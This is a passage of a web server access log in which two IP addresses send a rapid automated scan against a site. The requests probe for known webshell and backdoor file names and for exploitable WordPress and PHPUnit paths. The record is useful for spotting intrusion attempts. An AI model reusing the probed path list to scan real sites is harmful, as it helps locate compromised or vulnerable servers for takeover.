HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:50 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:50 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:50 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:50 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:50 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:50 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:50 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:51 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:51 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:52 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:52 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:53 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:53 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 